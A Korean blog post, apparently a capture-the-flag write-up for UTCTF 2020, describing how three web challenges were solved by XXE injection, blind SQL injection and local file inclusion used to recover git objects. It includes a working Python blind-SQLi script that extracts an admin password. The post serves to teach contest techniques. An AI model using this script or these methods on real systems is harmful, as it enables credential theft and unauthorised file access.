UTCTF 2020

Hacking Contest 2020. 3. 8. 13:58
반응형

1. spooky store

 - 해당 문제에 접근했을 때 버튼 3개가 있는데 버튼을 누르면 요청을 XML 형식으로 날리고 있다.

 가장 먼저 생각이 든 것이 XXE Injection이기 때문에 payload를 날렸을 때 간단히 문제가 풀렸다.

 FLAG는 /etc/passwd 밑에 있었다.


2. epic admin pwn

 해당 문제의 설명에 flag는 password라고 되어 있었으며, 해당 문제 접근 시 로그인 페이지가 떴다.

 이는 간단히 Blind SQL Injection을 통해 admin의 패스워드를 얻을 수 있으며 이로 인증이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
url="http://web2.utctf.live:5006/"
password=""
 
for i in range(1,25):
    for j in range(33,126):
        datas={
            "username":"admin' and ascii(substr(password,"+str(i)+",1))="+str(j)+"-- ",
            "pass":"1"
            }
 
        response = requests.post(url,data=datas)
 
        print("response:",response.request.body)
        #print("response:",response.text)
        if "Welcome, admin!" in response.text:
            password+=chr(j)
            print("[+]find password:",password)
            break
cs


3. 

해당 문제는 LFI+git 문제였다.

이미지를 가져오는 getimg.php의 img 파라미터에 img1.jpg가 base64로 인코딩되어 들어가 해당 파일을 불러오며 여기에 다른 파일을 base64로 인코딩하여 넣으면 해당 파일을 불러올 수 있다.

간단한 LFI 문제여서 금방 풀 수 있을것 같았는데 flag가 어디있을지 짐작을 못하다가 문제에서 commit, status와 같이 git과 관련된 단어가 기울어져있는 것을 보고 git과 관련된 문제임을 확인하였다.


다음과 같은 순서대로 파일들을 확인하였다.

 (1) .git/logs/HEAD

 : 로그 확인

0000000000000000000000000000000000000000 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583366532 +0000 commit (initial): initial commit

759be945739b04b63a09e7c02d51567501ead033 976b625888ae0d9ee9543f025254f71e10b7bcf8 Shrek <shrek@shrek.com> 1583366704 +0000 commit: remove flag

976b625888ae0d9ee9543f025254f71e10b7bcf8 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367714 +0000 commit: added more stuff

d421c6aa97e8b8a60d330336ec1e829c8ffd7199 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583367723 +0000 checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033

759be945739b04b63a09e7c02d51567501ead033 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367740 +0000 checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master


 (2) 759be945739b04b63a09e7c02d51567501ead033 

 : flag가 remove 되기 전인 759be945739b04b63a09e7c02d51567501ead033 object 확인


(3) aeeea4cfa5afa4dcb70e1d6109790377e7bcec4d

 : 해당 object 당시의 tree 구조 확인


(4) 6578c62fa248d078ffc551405c9700e3ccc9f5b3

 : flag가 있을만한 index.php 파일 확인


<후기>

1. 처음엔 해당 문제를 wrapper를 이용한 LFI인줄 알고 base64 형태로 받아 진행하였는데 단순히 파일명만 넣어도 LFI가 trigger 되었다.

일단은 그냥 파일 넣어보고 안되면 wrapper를 이용하자


2. git의 object는 blob 형태라 단순 에디터로는 볼 수 없다는 점 때문에 git command를 이용해야한다.

이 때, 받은 파일을 git cat-file로 하면 보여야하는데 자꾸 형식이 틀렸다고 떴다..

삽질의 삽질을 하다 혹시나 하는 마음에 동일하게 linux에서 진행했더니 됐다 ㅇ_ㅇ...

명령어를 써야하는 것이라면 맘 편하게 리눅스에서 진행하자

반응형

'Hacking Contest' 카테고리의 다른 글

[Christmas CTF 2019] JWT  (0) 2019.12.26
[Christmas CTF 2019] watermelon  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
블로그 이미지

rootable

,